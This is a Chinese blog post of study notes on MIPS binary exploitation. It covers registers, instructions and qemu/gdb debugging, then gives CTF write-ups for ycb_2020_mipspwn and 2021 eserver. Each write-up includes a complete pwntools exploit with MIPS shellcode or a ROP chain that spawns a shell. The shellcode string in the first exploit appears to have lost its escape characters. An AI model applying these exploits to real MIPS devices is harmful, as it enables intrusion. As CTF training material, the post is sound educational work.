异构框架之mips框架的pwn学习笔记

admin 2022年5月17日04:29:20评论549 views字数 7254阅读24分10秒阅读模式

异构框架之mips框架的pwn学习笔记基础知识

mips、mipsel的区别

mips是大端(big-endian)架构,而mipsel是小端(little-endian)架构。指令的用法是差不多的。

Pwn中需要重点了解的Mips指令

寄存器

MIPS32寄存器分为两类:通用寄存器(GPR)和特殊寄存器。通用寄存器:MIPS体系结构中有32个通用寄存器,汇编程序中用$0~$31表示。也可以用名称表示,如$sp、$t1、$ra等。

编号 寄存器名称 描述
$0 $zero 第0号寄存器,其值始终为0。
$1 $at 保留寄存器
$2-$3 $v0-$v1 values,保存表达式或函数返回结果
$4-$7 $a0-$a3 argument,作为函数的前四个参数
$8-$15 $t0-$t7 temporaries,供汇编程序使用的临时寄存器
$16-$23 $s0-$s7 saved values,子函数使用时需先保存原寄存器的值
$24-$25 $t8-$t9 temporaries,供汇编程序使用的临时寄存器,补充$t0-$t7。
$26-$27 $k0-$k1 保留,中断处理函数使用
$28 $gp global pointer,全局指针
$29 $sp stack pointer,堆栈指针,指向堆栈的栈顶
$30 $fp frame pointer,保存栈指针
$31 $ra return address,返回地址

传参方式

用$a0~$a3传递函数的前4个参数,记忆方法,寄存器名字a实际为argument的缩写。多余的参数用栈传递,可以写一个简单的c程序编译后,反汇编观察,悟出规律。

函数返回值

一般用$v0~$v1寄存器传递。v也就是value的缩写。

跳转指令

j指令跳转到某个标签处,单纯的jmp

jr指令用于跳转到寄存器里的地址值指向的地方。

jal 跳转时,会将返回地址存入$ra寄存器。

jalr 与jal指令类似,只不过后面的对象为寄存器,并执行下一条语句(一般为nop)。

$ra寄存器,ra为,return address的缩写,一般用于存储返回地址,一个函数结尾往往会从栈里弹出一个值赋值给$ra寄存器,然后jr $ra。

内存读取指令

sw register,addr指令,sw即store word的缩写(对应的有store byte),将register寄存器里的值写入到addr地址处。

lw register,addr指令,lw即load word的缩写(对应的有load byte),读取addr处的数据,放入register寄存器。

寻址

la指令,相当于x86的lea

lai指令,i的意思是immediate立即数,即后面的对象为立即数。

la $a0,1($s0)指令,带有偏移的寻址,它的作用是$a0 = 1 + $s0

环境搭建

环境包括qemu、pwndbg以及gdb-multidbg

qemu

sudo apt-get install qemu
apt-get install qemu binfmt-support qemu-user-static

pwndbg

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

gdb-multiarch

sudo apt-get install gdb-multiarch

gdb-multiarch+qemu动态调试

环境安装完后,就可以开始简单的调试

qemu-mipsel -g 1234 -L /Your_Path_to_lib/ hello

-g 1234的意思表示为监听端口1234,用于远程调试,-Lpath 选项,可以用来变更动态库查找路径

例题:ycb_2020_mipspwn

首先看看保护机制

异构框架之mips框架的pwn学习笔记

qemu-mipsel运行,提示缺少库,可以去Mipsel的uclibc库里直接下

https://github.com/MonkeyJacky/mipsel-linux-uclibc

然后,我们使用-L加载库,就可以运行了

qemu-mipsel -g 1234 -L ~/Desktop/mip/mipsel-linux-uclibc pwn2

用ida逆向分析发现是一个栈溢出

异构框架之mips框架的pwn学习笔记

没开保护可以用ret2shellcode

这里可以利用栈溢出控制寄存器$ra和$fp,利用$ra劫持程序执行流,再利用$fp迁移栈

异构框架之mips框架的pwn学习笔记

将程序劫持到0x400f50写入shellcode到$fp+0x50-0x38内存块上,再跳过$ra跳转到shellcode上

调试程序

gdb-multiarch ./pwn2
pwndbg> target remote 127.0.0.1:1234

exp

#coding=utf-8
from pwn import *
context(log_level='debug',arch='i386')
binary='./pwn2'
context.terminal = ['terminator','-x','sh','-c']
main_arena = 0x3ebc40
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 0
if local == 1:
    io=process(argv=['qemu-mipsel','-g','1234','-L','/home/N0vice/Desktop/mip/mipsel-linux-uclibc','pwn2'])
else:
    io=remote('node4.buuoj.cn',26035)
e=ELF(binary)

ru("Warrior,leave your name here:")
s('darry')
ru("Your choice: ")
sl('7')
ru("Write down your feeling:")

shellcode = asm(shellcraft.mips.linux.sh(),arch='mips')
pay=b'a'*0x38+p32(e.bss()+0x100+0x18)+p32(0x00400F50)
s(pay.ljust(0xb0))
#pause()
#shellcode = asm(shellcraft.mips.linux.sh(),arch='mips')
s(b'a'*0x3c+p32(e.bss()+0x100+0x70)+"xffxffx10x04xabx0fx02x24x55xf0x46x20x66x06xffx23xc2xf9xecx23x66x06xbdx23x9axf9xacxafx9exf9xa6xafx9axf9xbdx23x21x20x80x01x21x28xa0x03xccxcdx44x03/bin/sh")
shell()

2021强网拟态eserver

题目分析

异构框架之mips框架的pwn学习笔记

输入Administrator后可以进入sub_EA8()函数

异构框架之mips框架的pwn学习笔记

可以leak一字节地址,因为是32位的而且后12位是不变的,第一字节一般都是0x7f,所以我们leak第二字节,爆破一位也就是116的概率就可以算出libc_base

思路

leak一字节地址算出libc_base,利用ret2libc来打,用mipsrop插件来找gadget,先通过栈控制$ra和$a0寄存器可以利用(mipsrop.find("lw $a0,.")、mipsrop.find("move $a0,$fp")来控制),因为有一个全局偏移量$gp寄存器(需要通过$t9来计算),在跳转到system的时候需要将$t9寄存器改为system函数地址

异构框架之mips框架的pwn学习笔记

不然后面函数跳转通过$gp查找其他函数的时候就会出问题(各种奇奇怪怪的错),所以还需要控制$t9寄存器(mipsrop.find("lw $t9,.")、mipsrop.find("move \$t9,.")都行)这里找到了一个比较好的gadget

异构框架之mips框架的pwn学习笔记

直接控制$fp就可以顺带搞定$t9寄存器。

总的思路就是通过栈溢出控制$ra(返回地址)和$a0(字符串/bin/sh地址)和$fp,再通过$fp进而控制$t9

exp

#!/usr/bin/env python
#coding=utf-8
from pwn import*
context.log_level = "debug"
context.arch = "mips"
#context.endian = "small"
context.os = "linux"

main_arena = 0x1ebb80
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 1
if local == 1:
    io=io=process(argv=['qemu-mipsel','-L','~/Desktop/mip/mipsel-linux-uclibc','./eserver'])
    #io=io=process(argv=['qemu-mipsel','-g','1234','-L','~/Desktop/mip/mipsel-linux-uclibc','./eserver'])
else:
    io=remote('node4.buuoj.cn',26469)

libc=ELF('./libc.so.6')
ru('Input package: ')
sl('Administrator')
ru('Input package: ')
sl('2')
ru('Response package: ')
l4 = 0x7f
l3 = u8(r(1))
l2 = ((libc.sym['read']&0xff00)>>8)-0x70
l1 = 0xa4
libc_base = (l1 ^ (l2<<8) ^ (l3<<16) ^ (l4<<24))-libc.sym['read']
su('libc_base',libc_base)
'''
.text:0011ACD8
.text:0011ACD8 var_38          = -0x38
.text:0011ACD8 var_30          = -0x30
.text:0011ACD8 var_28          = -0x28
.text:0011ACD8 var_24          = -0x24
.text:0011ACD8 var_20          = -0x20
.text:0011ACD8 var_1C          = -0x1C
.text:0011ACD8 var_18          = -0x18
.text:0011ACD8 var_14          = -0x14
.text:0011ACD8 var_10          = -0x10
.text:0011ACD8 var_C           = -0xC
.text:0011ACD8 var_8           = -8
.text:0011ACD8 var_4           = -4
.text:0011ACD8 var_s0          =  0
.text:0011ACD8 var_s4          =  4
.text:0011ACD8 var_s8          =  8
.text:0011ACD8 var_sC          =  0xC
.text:0011ACD8 var_s10         =  0x10
.text:0011ACD8 var_s14         =  0x14
.text:0011ACD8 var_s18         =  0x18
.text:0011ACD8 var_s1C         =  0x1C
.text:0011ACD8 var_s20         =  0x20
.text:0011ACD8 var_s24         =  0x24

.text:0011B170                 move    $a0, $fp
.text:0011B174
.text:0011B174 loc_11B174:                              # CODE XREF: sub_11ACD8:loc_11AD88↑j
.text:0011B174                                          # sub_11ACD8+B8↑j ...
.text:0011B174                 lw      $ra, 0x48+var_s24($sp)
.text:0011B178                 lw      $v0, 0x48+var_30($sp)
.text:0011B17C                 lw      $fp, 0x48+var_s20($sp)
.text:0011B180                 lw      $s7, 0x48+var_s1C($sp)
.text:0011B184                 lw      $s6, 0x48+var_s18($sp)
.text:0011B188                 lw      $s5, 0x48+var_s14($sp)
.text:0011B18C                 lw      $s4, 0x48+var_s10($sp)
.text:0011B190                 lw      $s3, 0x48+var_sC($sp)
.text:0011B194                 lw      $s2, 0x48+var_s8($sp)
.text:0011B198                 lw      $s1, 0x48+var_s4($sp)
.text:0011B19C                 lw      $s0, 0x48+var_s0($sp)
.text:0011B1A0                 jr      $ra
.text:0011B1A4                 addiu   $sp, 0x70

.text:00134E80                 move    $t9, $fp
.text:00134E84                 jalr    $t9
.text:00134E88                 move    $at, $at
'''

pay = b'a'*0x1f8+p32(libc.search('/bin/sh').next()+libc_base)+p32(0x0011B170+libc_base)+b'a'*0x68+p32(libc_base+libc.sym['system'])+p32(0x00134E80+libc_base)#
ru('Input package: ')
sl(pay)
ru('Input package: ')
sl('EXIT')
shell()

异构框架之mips框架的pwn学习笔记

后门函数调用

execve(path='//bin/sh', argv=['sh'], envp={})

对应寄存器布置

v0=0xfab
a0=addr <-'/bin/sh'
a1=addr -> addr <-'/bin/sh'
a2=0

异构框架之mips框架的pwn学习笔记

参考博客

https://blog.csdn.net/seaaseesa/article/details/105281585

https://ray-cp.github.io/archivers/MIPS_Debug_Environment_and_Stack_Overflow


原文始发于微信公众号(火炬木攻防实验室):异构框架之mips框架的pwn学习笔记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月17日04:29:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   异构框架之mips框架的pwn学习笔记http://cn-sec.com/archives/1012719.html

发表评论

匿名网友 填写信息